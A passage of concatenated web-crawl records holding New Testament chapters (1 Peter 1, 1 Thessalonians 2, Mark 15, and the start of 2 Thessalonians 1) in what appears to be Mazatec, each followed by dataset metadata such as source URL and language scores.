nga ijye i̱nchisíchi̱ya‑la̱ jè Inìma̱ Tsje‑la̱ Cristo ra tíjnajin ya̱ inìma̱‑la̱, nga̱ tje̱n isìchi̱yaá‑la̱ a̱'ta 'tse̱ kjo̱hi'in ra tjínè‑la̱ nga ko̱tojin jè Cristo, ko̱ kó'ki kjoa̱jeya 'se̱‑la̱ a̱skan‑nioo̱. 12Jñà xi̱ta̱ kìi̱, kisìchi̱ya tsijen‑la̱ Nainá nga mì tsa kjo̱nda 'tse̱‑jìn nga ko̱'sín tsi'kéna̱jmí; kjo̱nda tsa̱jión‑nájiòn. Ko̱ jñà 'én ra tsi'kéna̱jmí, ti̱jñá‑ni 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo ra tí'sena̱jmí‑no skanda jè ni̱chjin 'ndi̱. Nga̱ ti̱jé‑ni Inìma̱ Tsje‑la̱ Nainá ra ngajmi nchrabá‑ni tsjá‑la̱ nga'ñó xi̱ta̱ ra 'béna̱jmí. Jñà kjoa̱ kìi̱ skanda jñà ìkja̱li̱, mejèn‑la̱ nga ske̱‑te. 13'Koa̱á ma‑ni nga nda kjón‑ní ti̱kítsa̱jnanda kjo̱bítsjen‑no ko̱ chijmi kjón ti̱tsa̱jna. Ta jé nda jchíña‑la jè kjo̱nda ra jè tjábé kjo̱tjò‑no 'kia̱ nga kj'i̱í india‑ni jè Jesucristo. 14Ko̱'sín 'tia̱àn koni tsa jñà i̱xti ra nda ma‑la̱ síhitjasòn; kì ti̱ tsja ya̱ bìtsa̱jin‑no koni 'sín tjín kjoa̱'cho ra kisíjé ijo‑no 'kia̱ nga ti̱kje 'yaxkon Nainá. 15'Koa̱á 'sín tsje tahíko̱o kjo̱binachon‑no nga ta mé ra 'sia̱an, koni 'sín nga tsje jè Nainá ra xá kiìchja̱‑no. 16Nga̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, 'koa̱á 'sín tíchja̱ nga tsò: \"Xi̱ta̱ tsjeé katama jiòn nga̱ Xi̱ta̱ Tsjeé‑ná ra 'a̱n.\" 17Jè Nainá ra ngásòn ngáya ko̱'sín bíndajín‑la̱ jé‑la̱ xi̱ta̱ koni 'sín tjín kjoa̱ ra 'sín nga jngó jngó xi̱ta̱, tsa Na̱'ìn 'mì‑la jiòn 'kia̱ nga nakjoá'ta‑la, machjeén‑ní nga ti̱skón‑cha ra jè nga'tsì ni̱chjin ra ki̱tsa̱kon i̱ a̱'ta nangi ñánda̱ nga mì tsa i̱ i̱'nde‑no. 18Nga̱ 'ya‑nájiòn nga mì tsa jñà tsajmì ra fitson kjóchjítjì‑najiòn nga ma titsa̱jnandio̱ó kjoa̱'cho ra tsikitsa̱jnajin jiòn nga ti̱'sa̱ kjotseé ra jñà xi̱ta̱ jchínga‑no tsakón‑ya‑no. Mì tsa to̱n sinè ko̱ mì tsa to̱n chroba kjóchjítjì‑najiòn. 19Nga ko̱ sabá jè jní ra tsikíxten Cristo, jè jní ra 'ñó chjí‑la̱, jè kjóchjítjì‑nájiòn mé‑ni nga ma titsa̱jnandi̱í‑no. Jè jní‑la̱ Cristo, 'koa̱á 'sín jngoya‑la̱ koni tsa jè jní‑la̱ jngo ndí forrè i'ndí ra 'ñó nda 'ki ra ni̱mé 'chin tjín‑la̱. 20Nga̱ jè Cristo, xá 'koa̱á 'sín itjonè‑la̱ nga ko̱'sín ko̱ka̱ma'tin skanda ti̱'kia̱‑ni nga ti̱kjè sinda i̱sà'nde, tanga skanda 'ndi̱í tí'ya‑la̱ nga ko̱'sín kjomà ra kjo̱nda tsa̱jiòn. 21Ko̱ a̱'ta 'tse̱ Cristo‑ní nga makjiín‑najiòn ra a̱'ta 'tse̱ Nainá, jè Cristo ra jè Nainá isikjaáya‑ila̱ ko̱ ti̱'koa̱á jeya isíkíjna. 'Koa̱á ma‑ni nga makjiín‑nájiòn a̱'ta 'tse̱ Nainá ko̱ i̱nchichiñá‑la jiòn nga tsjá‑no kjo̱nda koni 'sín nga ijye kitsjà 'én‑la̱. 22Jè inìma̱‑najiòn ijyeé kjotsje, ta nga̱tjì‑la̱ nga i̱nchinitjasòn jiòn koni 'sín tjín 'én kixi̱‑la̱ Nainá, mé‑ni nga mì ta jò tjín‑ni takòn nga tsjacha 'sio̱on xàngio̱o. Ko̱'sín ngi ko̱ inìma̱‑no nga 'ñó tsjacha 'tia̱àn xàngio̱o nga jngó jngó‑no. 23Nga̱ ijyeé kitsin xi̱tse̱ india‑najiòn, tanga mì tsa a̱'ta 'tse̱ tje̱‑la̱ xi̱ta̱ ra fehe'ta ni̱chjin‑la̱ nga kitsin xi̱tse̱ india‑najiòn; a̱'ta 'tse̱é 'én‑la̱ Nainá ra tíjnakon ko̱ ra tíjna skanda ta mé ni̱chjin‑ni. 24Nga̱ 'koa̱á 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: Nga'tsì jñà xi̱ta̱, 'koa̱á 'sín jngoya‑la̱ koni tsa xka̱ ijñá. Ko̱ jè kjoa̱ nga jeya síkítsa̱jna ijo‑la̱, 'koa̱á jngoya‑la̱ koni tsa jè naxó‑la̱ xka̱ ijñá. Jñà xka̱ ijñá, xì‑ní ko̱ jñà naxó‑la̱ katsangi‑ní; 25tanga jè 'én‑la̱ Na̱'ín‑ná tíjna ki'tá‑ní skanda ta mé ni̱chjin‑nioo̱. Ko̱ jè 'én ra̱kìi̱, jè‑ní jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo ra ko̱'sín ijye ki'sena̱jmíya‑najiòn.\n1 Pedro 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1","date":"2013-12-11T12:12:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035500\/warc\/CC-MAIN-20131204133355-00073-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":916,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn 'ndsé ko̱ ndí tichjeé, ndaá tjíjin‑no, nga mì tsa ta kjo̱tjò‑jìn koni 'sín nga ijchòjchòn‑laji̱n. 2Nga̱ ni̱'sín takó tse kjo̱hi'in tsatojin ítjòn‑ji̱n ya̱ na̱xi̱ndá Filipos nga kiìchja̱jno kiìchja̱'ta‑naji̱n xi̱ta̱, koni 'sín ijye tjíjin‑najiòn; tanga jè Nainá kitsjà nga'ñó‑naji̱n nga 'ñó tsi'kè‑la̱ji̱n takòn‑ji̱n nga tsangì 'kèna̱jmí‑laji̱n jè 'én xi̱tse̱‑la̱ Nainá ra nda tsò, ni̱'sín 'ñó kjìn ma‑ni jñà xi̱ta̱ ra kondra̱ tsikitsa̱jna‑naji̱n. 3Jè 'én ra tsi'kèna̱jmíya‑ji̱n mì tsa a̱'ta 'tse̱ kjoa̱'cho inchrabà‑ni, ko̱ mì tsa 'cho tjín kjo̱bítsjen‑na̱ji̱n 'kia̱ nga ko̱'sín tsi'kèna̱jmíya‑ji̱n ko̱ mì tsa jè mejèn‑naji̱n nga ta xi̱ta̱ kíndo̱cha̱‑la̱ji̱n. 4Nga̱ jè sabà Nainá kiskó'ta‑naji̱n ko̱ 'koa̱á 'sín ma‑ni nga ji̱n tsaká'ta takòn‑naji̱n ko̱ isìnga̱tsja‑naji̱n jè 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Cristo, mé‑ni nga ji̱n ma ki̱nákjoa̱ya‑naji̱n. Mì tsa jè fatsji‑ji̱n nga jñà xi̱ta̱ nda katasasén‑la̱ kjoa̱ ra 'nià‑ji̱n; jè‑ní ra mejèn‑naji̱n nga jè Nainá nda katasasén‑la̱; nga̱ jè‑ní ra ma‑la̱ kjó'ta kó'sín nga tíjna jè inìma̱‑ná. 5Koni 'sín ijye tjíjin‑najiòn, mì tsa jngo 'én ra nda tsò kinichjeén‑laji̱n koni tsa tjín ra mejèn‑naji̱n ra a̱'ta tsa̱jiòn ko̱ mì tsa ko̱'sín tjín takòn‑ji̱n nga to̱n ki̱náchrjejno‑laji̱n. Ko̱ jñà kjoa̱ kìi̱ Nainá nda tíbe. 6Ko̱ mì tsa jè fatsji‑ji̱n nga jiòn ko̱ ra kj'ií xi̱ta̱ 'nga katasíkítsa̱jna‑naji̱n. Koni ra ji̱n tsikíxáya‑naji̱n jè Cristo, kjomá‑la tsa tsikinè‑la̱ji̱n jè kjo̱téxoma ra tjín‑naji̱n. Tanga majìn. 7Ta isa̱á jnchro nda kijchatjò‑laji̱n koni 'sín 'sín jngo ndí chjo̱ón ra nda síjchá i'ndí‑la̱ nga sisin kjón‑ní síkonda̱. 8Batoó 'ñó kjotse jè kjo̱tsjacha‑na̱ji̱n ra a̱'ta tsa̱jiòn. Mì tsa ta jè tsja ki'se‑naji̱n nga tsi'kì‑laji̱n 'én xi̱tse̱‑la̱ Nainá ra nda tsò. Ti̱'koa̱á 'ñó kjotsja‑te‑naji̱n nga tsisìko̱'ta‑laji̱n ta nga̱tjì‑la̱ ta batoó 'ñó kjotsjacha‑laji̱n. 9Jiòn 'ndsé ko̱ tichjeé ndaá tjíjin‑no, kó'sín nga inìki'on‑ji̱n ijo‑na̱ji̱n nga iníxá‑ji̱n. Nga̱ ko̱ ni̱chjin ko̱ ni̱tje̱n iníxá‑ji̱n, nga̱ majìn‑naji̱n nga jiòn ko̱hi'in‑no mé ra ichija'ta‑naji̱n 'kia̱ nga tsi'kèna̱jmíya‑laji̱n jè 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Nainá. 10Jiòn ndaá kijcha, ko̱ ti̱'koa̱á jè Nainá ndaá be‑te, kó'sín nga tsje iníjchá‑ji̱n ijo‑na̱ji̱n ko̱ nga kixi̱í tsikitsa̱jna‑ji̱n, ko̱ mì tsa mé jé tsakjàtsji‑ji̱n ya̱ a̱jin tsa̱jiòn ra makjiín‑no 'én‑la̱ Nainá. 11Ndaá tjíjin‑te‑no nga inije takòn‑laji̱n ko̱ ki'tsì nga'ñó‑laji̱n nga jngó jngó‑no ra jiòn, koni 'sín 'sín jngo na̱'ìn nga síjetakòn i'ndí‑la̱. 12Ko̱ 'koa̱á 'sín tsikinè‑laji̱n nga ko̱'sín ti̱jchá ijo‑no koni 'sín nga machjeén‑la̱ jè Nainá ra kiìchja̱‑no, mé‑ni nga ya̱ ki̱tsa̱jin‑la xi̱ta̱‑la̱ ra ijye jè tíbatéxoma‑la̱, ko̱ nga ki̱tsa̱jin‑te jè kjoa̱jeya‑la̱. 13'Koa̱á ma‑ni nga kji'tá ni̱chjin nga ko̱'sín 'mì‑la̱ji̱n jè Nainá, nga tse kjo̱nda kata'se‑la̱ ra jè ta nga̱tjì‑la̱ 'kia̱ nga ina'yá jiòn jè 'én‑la̱ Nainá ra ji̱n tsi'kèna̱jmíya‑laji̱n, mì tsa 'én 'tse̱ xi̱ta̱ ki'nià jiòn; 'koa̱á 'sín ichjíbé jiòn koni ra ngi 'én‑la̱ Nainá; ko̱ kixi̱í kjoa̱ ngi 'én‑la̱ Nainá kiti‑ní, ijyeé tí'ya‑la̱ ra a̱'ta tsa̱jiòn ra makjiín‑no a̱'ta 'tse̱ jè 'én ra̱kìi̱. 14Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'kia̱ nga ko̱'sín ti̱jñà‑ni xi̱ta̱ na̱xi̱ndá tsa̱jiòn kitsjà‑no kjo̱hi'in, 'koa̱á ti̱'sín kjomà'tin jiòn koni 'sín kjomà jñà xi̱ta̱ na̱xi̱ndá‑la̱ Nainá 'tse̱ Cristo Jesús ra tjítsa̱jna ya̱ Judea, nga̱ ti̱jñá‑ni xi̱ta̱ na̱xi̱ndá‑la̱ ra xi̱ta̱ judío kitsjá‑la̱ kjo̱hi'in. 15Nga̱ xi̱ta̱ judío ra isì'ken jè Jesús ra tíjna ítjòn‑ná, ko̱ ti̱jñá‑ni xi̱ta̱ jchínga‑la̱ ra isì'ken jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé; ko̱ ra ji̱n‑ji̱n tsachrjekàjin‑naji̱n ya̱ na̱xi̱ndá‑la̱; ko̱ mì kì sasén‑la̱ Nainá kjoa̱ ra 'sín xi̱ta̱ kìi̱; ko̱ ngi ta kondra̱á fì ijye‑la̱ ta mé kjoa̱ ra 'sín jñà xi̱ta̱, 16ko̱ mì kì tsjá'nde 'kia̱ nga ji̱n 'bena̱jmíya‑la̱ji̱n jñà ra mì tsa xi̱ta̱ judío mé‑ni nga ti̱'koa̱á ki̱tjojin‑te‑ni kjo̱hi'in. Koni 'sín ijye i̱nchisíkato chi̱ba̱‑la̱ xi̱ta̱ kìi̱ jñà jé ra i̱nchi'sín, 'koa̱á 'sín tse kjo̱hi'in tsjá‑te‑la̱ Nainá. 17Tanga jiòn 'ndsé ko̱ tichjeé, 'kia̱ nga ijye kjìn ni̱chjin tsato nga tsijmieé xàngie̱é, ni̱'sín mì kì ti̱ ya̱ kiskàjin‑ná, kiníkítsjen ki'tá‑laji̱n. Ko̱ 'ñó kjomejèn‑naji̱n nga tsangì ítsíjen‑laji̱n. 18Batoó kjomejèn tsangì kiti‑ji̱n. Ma kjòn‑ni ra 'a̱n, ra 'mì‑na Pablo, india ti̱ ijan mejèn‑na kijiàa̱; tanga jé xi̱ta̱‑ni̱í tsatéchjà‑na. 19Nga̱ jé i̱nchichiñá‑la̱ji̱n nga kixi̱ titsa̱jna jiòn 'kia̱ nga kj'i̱í india‑ni Jesucristo ra tíjna ítjòn‑ná; nga̱ a̱'ta tsa̱jión‑nájiòn nga tsja 'se̱‑naji̱n, ko̱ nga nda kítjo̱ngi‑ji̱n ya̱ ngixko̱n Na̱'ín‑ná. 20Ko̱ ti̱'koa̱á a̱'ta tsa̱jión‑nájiòn nga nda níkítsa̱jna‑ji̱n ijo‑na̱ji̱n ko̱ nga̱tjì tsa̱jión‑nó nga tsja tjín‑naji̱n.\n1 Tesalonicenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Thess\/2","date":"2013-12-10T19:05:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023947\/warc\/CC-MAIN-20131204133343-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":671,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kó ra ki'se i̱sén kjóxkóyaá xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ jchínga ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ko̱ nga'tsì xi̱ta̱xá 'tse̱ xi̱ta̱ Judío. Tsikíté'ñó Jesús, kiìko̱ nga isìnga̱tsja jè Pilato. 2Jè Pilato iskonangií‑la̱, kitsò‑la̱: ―¿A ji̱‑ní ra xi̱ta̱xá títjòn‑la̱ xi̱ta̱ Judío? Jesús kitsò‑ní: ―Ji̱í ra ko̱'sín tjisi. 3Tanga jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, kjín sko̱ya tjín‑ni 'én ra bánè‑la̱ nga bángi. 4Pilato ìjngo 'ká iskonangi‑la̱, kitsò‑la̱: ―¿A ni̱mé 'én nakjí? Ti̱ná'yi, 'ñó kjìn sko̱ya kjoa̱ bánè‑li xi̱ta̱ ra bángi‑li. 5Jesús mì kì kiìchja̱ ni̱'sín ko̱ tí'mi‑la̱. Jè Pilato, tà 'koa̱á kjomà‑la̱. 6Xki̱ nó xki̱ nó 'kia̱ nga bitjo 'sí paxko̱ jè Pilato síkíjnandi̱í jngo‑ni xi̱ta̱ ra tjítsa̱'ya nda̱yá; jé bíjnandi̱í‑ni jè ra xi̱ta̱ na̱xi̱ndá síjé nga kíjnandi̱í. 7Tjín i'ka xi̱ta̱ ra tjítsa̱'ya nda̱yá ra kjo̱si tsakátsji a̱'ta 'tse̱ na̱xi̱ndá ko̱ xi̱ta̱á isì'ken; xi̱ta̱ kìi̱, jngo‑ni ra 'mì Barrabás. 8Jñà xi̱ta̱ na̱xi̱ndá kiì káko̱ó Pilato nga mejèn‑la̱ ko̱'sín si̱hitjasòn koni 'sín ma ki'ta nga xki̱ nó. 9Kiìchja̱á Pilato, kitsò: ―¿A mején‑no nga jè síkíjnandi̱í‑na jè xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío? 10Pilato, ijyeé tjíjin‑la̱ nga jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, nga tà ki‑ní nga maxitakòn‑ke jè Jesús, kií ko̱'sín ya̱ isìnga̱tsja‑ni. 11Tanga jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, jñá tsinchá'a xi̱ta̱ na̱xi̱ndá, nga isa̱á nda‑ni nga jè katíjnandi̱í‑ni Barrabás. 12Pilato india iskonangi‑la̱ xi̱ta̱ na̱xi̱ndá, kitsò‑la̱: ―¿Mé ra mejèn‑no nga sikóo̱ jè ra 'mì‑la xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío? 13Jñà xi̱ta̱, 'ñó kiìchja̱, nga kitsò: ―¡Krò katasi'ta‑róoi̱! 14Pilato, 'kia̱á kitsò‑la̱: ―¿Mé kjoa̱ ra ta̱ 'cho ki'sìn? Jñà xi̱ta̱ na̱xi̱ndá, ta isa̱á 'ñó kiìchja̱‑isa, kitsò: ―¡Krò katasi'ta‑róoi̱! 15Pilato mején‑la̱ nga nda kíjna ko̱ xi̱ta̱ na̱xi̱ndá. 'Koa̱á ma‑ni nga isíkíjnandi̱í‑ni jè Barrabás; ko̱ kitsjá kjo̱kixi̱ nga kinìki'on jè Jesús, a̱kjòn isìnga̱tsja nga kátá'ta krò. 16Jñà chíchàn kiìko̱ó Jesús ya̱ nga masen‑la̱ ndi̱tsin ni'ya‑la̱ xi̱ta̱xá ítjòn. A̱kjòn tsikíxkóya ijye kóhotjín chíchàn ra i'kaa̱. 17Isíkáya jngo nikje ra chji̱'ndi̱ inì 'kioo̱; a̱kjòn kisì'ya̱ jngo yá na'yá nga tsikí'a sko̱ koni 'sín si'a jngo‑la̱ koròna̱ xi̱ta̱xá ítjòn. 18Ko̱ tsikí'tsia̱ nga iskindaya'tin. Kitsò‑la̱: ―¡Nda katijna jè Xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Judío! 19Jngo ínaxo̱ matjìko̱‑ni sko̱; ko̱ tsikíchrájno ko̱‑sa̱a‑ni ko̱ tsinchaxkó'nchi'ta‑la̱ koni tsa bexkón. 20'Kia̱ nga ijye ko̱'sín isìsobà‑la̱, tsjahíxìn‑la̱ jè nikje chji̱'ndi̱ inì ra kjiya. A̱kjòn isíkáya india‑ni jè nikje‑la̱ ra 'tse̱. A̱kjòn kiìko̱ nga kiì ká'ta krò. 21Jngo xi̱ta̱ ra ya̱ chi̱ba̱‑la̱ tí'fa ra 'mì Simón, ra ya̱ Cirene i̱'nde‑la̱ ra tí'faha'sen‑jin na̱xi̱ndá, ra na̱'ìn‑la̱ ma Alejandro ko̱ Rufo, jñà chíchàn kjo̱'ñó ki'sìn‑la̱ nga kisì'ka krò‑la̱ Jesús. 22Kiìko̱ó Jesús ya̱ i̱'nde ñánda̱ 'mì Gólgota, jè 'én ra tsò‑ni: I̱'nde Sko̱ Mi'ken. 23Kitsjá‑la̱ nandá xán 'tse̱ uva ra tjíkójin‑la̱ mirra, tanga jè Jesús mì kì ki'tsi. 24'Kia̱ nga ijye tsaká'ta krò, jñà chíchàn a̱kjòn isíská kañá‑ni nikje‑la̱ Jesús nga yá 'tse̱ ki̱tso̱‑la̱ nga jngó jngó nikje. 25Ijchó‑la̱ tsa las nueve nga ta̱jñò 'kia̱ nga isi'ta krò Jesús. 26Ki̱í'sín tsò‑ni 'én ra ya̱ tjí'ta krò: \"Xi̱ta̱xá Ítjòn‑la̱ Xi̱ta̱ Judío\", nga̱ ta kií kjoa̱‑ni nga ko̱'sín ini'ken. 27Ti̱'koa̱á isi'ta‑te krò jò xi̱ta̱ chijé. Jngo isasíjna a̱'ta ngakixi̱‑la̱ Jesús ko̱ jngo isasíjna ya̱ ngaskoán‑la̱. 28'Koa̱á 'sín itjasòn koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Ya̱á kjóngásòn‑ko̱ koni jngo xi̱ta̱ ra tse jé tjín‑la̱.\" 29Jñà xi̱ta̱ ra ya̱ chi̱ba̱‑la̱ 'ja, kiìchja̱jnoó‑te‑la̱, síkjahatji‑la̱ sko̱, kitsò‑la̱: ―¡Jaa̱! Ji̱ ra ko̱kisi nga si̱kixojen‑ní i̱ngo̱ ítjòn‑la̱ Nainá, ko̱ nga ta jàn ni̱chjin kínda india‑ni, 30ti̱ji̱ ti̱náchrjekajin‑ni kjo̱hi'in ijo‑li 'ndi̱‑ni̱ ko̱ títjo̱ji̱in ya̱ a̱'ta krò. 31'Koa̱á ti̱'sín isìtsja'tin jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá. Kitsò: ―Maá‑la̱ tsachrjejin kjo̱hi'in xi̱ta̱ ra kj'ií, tanga mì kì ma‑la̱ ti̱jè síko̱‑ni ijo‑la̱. 32Katitjojen'ta‑ni krò 'ndi̱‑ni̱ jè ra Cristo, ra xi̱ta̱xá ítjòn‑la̱ na̱xi̱ndá Israel, mé‑ni nga jcha̱‑ná ko̱ ko̱kjiín‑ná ra a̱'ta 'tse̱. Skanda jñà xi̱ta̱ ra jò ma‑ni ra kji'tà‑te krò, ti̱'koa̱á kiìchja̱jno‑te‑la̱. 33'Kia̱ ijchò nchisen, skanda nga ijchò las tres nga ngixòn, kjojñó‑ní kóho'ki nga tíjngo i̱sà'nde. 34'Kia̱ nga ijchò las tres Jesús, 'ñó kiìchja̱, kitsò: \"Elí, Elí, ¿lama sabactani?\" 'Én ra kiìchja̱, tsó‑ni: Ji̱ ra Nainá xin‑la, ¿mé‑ni kajmitakón‑ná? 35'Kia̱ nga kií'nchré‑la̱ jñà xi̱ta̱ ra ya̱ tjítsa̱jna, tjín i'ka ra kitsò: ―Ti̱ná'ya‑la, jé Elías tíchja̱‑la̱. 36Jngo xi̱ta̱, ndi̱to̱ón kií'ká jngo tsa̱nga̱ nga kisìka'nchi̱ ko̱ nandá binagre̱; a̱kjòn tsikísko jngo ínaxo̱; kitsjá‑la̱ Jesús nga kata'bi, kitsò: ―Chítsijen‑lá, a kj'i̱í‑ró‑tse jè Elías nga ko̱je̱n'ta‑ni krò. 37Tanga jè Jesús, isa̱á 'ñó iskindaya‑isa, a̱kjòn 'ken. 38Jè nikje ra tja̱'báya ya̱ nga masen‑la̱ i̱ngo̱ ítjòn ichrjajndá‑ní, jòya kjomà skanda a̱'ta nangi. 39Jè xi̱ta̱ ítjòn‑la̱ chíchàn, 'kia̱ nga kijtse nga ijye 'ken Jesús, kitsó‑ní: ―Ngi kixi̱ kitií‑la kjoa̱ nga jè xi̱ta̱ ra̱kìi̱, I'ndí‑la̱ Nainá‑ní. 40Ti̱'koa̱á ya̱á títsa̱jna i'ka íchjín ra kjin i̱nchikotsíjen‑ni, jè María Magdalena, ko̱ Salomé, ko̱ María ra na̱‑la̱ ma José ko̱ Jacobo, jè ra isa̱ mahi'ndí. 41'Kia̱ nga tsikijna Jesús ya̱ Galilea, jñà íchjín kìi̱ ya̱á tsinchimatji̱ngi‑la̱ ko̱ ya̱á tsinchako̱. Kjín ma‑isa‑ni íchjín ra ya̱ tjítsa̱jna ra ya̱ ijchò‑ni ján Jerusalén. 42Tà nga̱tjì‑la̱ nga ijye mejèn kàtjì tsá'bí jè ni̱chjin nga bìtsa̱jnanda xi̱ta̱ 'tse̱ ni̱chjin níkjáya, 43jngo xi̱ta̱ ra 'mì José ra ya̱ i̱'nde‑la̱ Arimatea, kitsjá nga'ñó‑la̱ ijo‑la̱, 'jaha'sen ya̱ ni'ya ñánda̱ tíjna Pilato ko̱ isíjé‑la̱ ijo‑la̱ Jesús. Nga̱ jè José, jngoó xi̱ta̱ ra ti̱'koa̱á xá 'nga tjín‑la̱ 'tse̱ xi̱ta̱xá‑la̱ xi̱ta̱ judío ra ti̱'koa̱ tíkoñá‑la̱ kjo̱téxoma‑la̱ Nainá. 44Pilato, tà 'koa̱á kjomà‑la̱ 'kia̱ nga ko̱'sín ijye 'ken Jesús; kiìchja̱á‑la̱ jè xi̱ta̱ ítjòn‑la̱ chíchàn; iskonangi‑la̱ a ngi kixi̱ kitií kjoa̱ nga ijye 'ken Jesús. 45'Kia̱ nga ijye tsi'kéna̱jmí‑la̱ jè xi̱ta̱ ítjòn‑la̱ chíchàn nga ijyeé 'ken Jesús, Pilato isìnga̱tsjaá ijo‑la̱ Jesús jè José. 46José tsatseé jngo nikje chraba; tsaje̱n'ta krò ijo‑la̱ Jesús; a̱kjòn isíkájté‑jno jè nikje. 'Kia̱á kiì kíhijin ñánda̱ ijye ti'xánda jngo nga̱jo̱ ya̱ a̱ngi na̱xi̱; iskanì'sen‑ngi ko̱ a̱kjòn iskaníkjá jngo na̱jo̱ ra tsasén‑jto ya̱ xo̱tjo̱ba̱ nga̱jo̱. 47Jè María Magdalena ko̱ jè María ra na̱‑la̱ José, ndaá i̱nchikotsíjen ya̱ ñánda̱ nga isìhijin ijo‑la̱ Jesús.\nSan Marcos 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/15","date":"2013-12-11T16:13:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164038825\/warc\/CC-MAIN-20131204133358-00081-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":933,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn xi̱ta̱ na̱xi̱ndá‑la̱ Nainá ra titsa̱jna ya̱ Tesalónica, jiòn ra chja̱'nda‑no Nainá ra Na̱'ín‑ná ko̱ jè Jesucristo ra tíjna ítjòn‑ná, 'koa̱á 'sín nìhixo'ta‑laji̱n 'a̱n Pablo, Silvano ko̱ Timoteo. 2Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑no kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑no. 3Machjeén‑ní nga ni̱chjin nchijòn ko̱'kín‑la̱ji̱n Nainá ra a̱'ta tsa̱jiòn‑jiòn ndí 'ndsé ko̱ tichjeé nga tse kjo̱nda kata'se‑la̱ ra jè, nga̱ 'koa̱á 'sín tjínè‑la̱ nga 'sia̱n‑ji̱n, ta nga̱tjì‑la̱ nga ni̱chjin nchijón‑ní isa̱ nda i̱nchimakjiín-isa‑najiòn ra a̱'ta 'tse̱ Cristo, ko̱ tímatseé‑isa kjo̱tsjacha ra tjín‑no ko̱ xàngio̱o nga jngó jngó‑no. 4'Koa̱á ma‑ni nga 'ñó matsja‑naji̱n ra a̱'ta tsa̱jiòn‑jiòn, ko̱ 'bèna̱jmí‑la̱ji̱n na̱xi̱ndá‑la̱ Nainá ra kj'ií i̱'nde títsa̱jna nga 'ñó nda makjiín‑najiòn ko̱ 'ñó nda chíkjoa̱jin‑najiòn 'kia̱ nga ta mé kjoa̱ ra kajion koni 'kia̱ nga mahatji̱ngi‑no xi̱ta̱ ko̱ nga kajion kjo̱hi'in. 5Ta nga'tsì kjoa̱ kìi̱, ya̱á 'ya‑la̱ nga jè Nainá ndaá ma‑la̱ bíndajín, ko̱ 'koa̱á 'sín tsò‑no nga bakén‑la̱ nga ya̱ ki̱tsa̱jnajin‑la jñà xi̱ta̱ ra jè tíbatéxoma‑la̱, ko̱ 'koa̱á 'sín ma‑ni nga kjo̱hi'in i̱nchinikjioón. 6Nainá, kjoa̱ kixi̱í ra 'sín nga tsjáhi'in ngajo‑ila̱ jñà xi̱ta̱ ra tsjá‑no kjo̱hi'in. 7Ko̱ jiòn ra i̱nchinikjioón kjo̱hi'in, si̱ìkítsa̱hijyo 'nchán‑no ko̱ ti̱'koa̱á si̱ìkítsa̱hijyo 'nchán‑te‑naji̱n 'kia̱ nga jè Jesús ra tíjna ítjòn‑ná, tje̱n‑jin ni'í‑jnga̱ nga kji̱nchrabàjen‑ni ján ngajmi, ko̱ kjihijtako̱ jñà ìkja̱li̱‑la̱ ra tse nga'ñó tjín‑la̱. 8Kií xá kj'i̱í‑ni mé‑ni nga tsjá‑la̱ kjo̱hi'in jñà xi̱ta̱ ra mì kì bexkón Nainá, ko̱ ti̱'koa̱á mì kì ma‑la̱ síhitjasòn koni 'sín tsò 'én xi̱tse̱ 'tse̱ Jesucristo ra tíjna ítjòn‑ná. 9Jñà xi̱ta̱ kìi̱, kji'tá ni̱chjin si̱ìkjiín kjo̱hi'in ra 'ki̱‑la̱ skanda ta 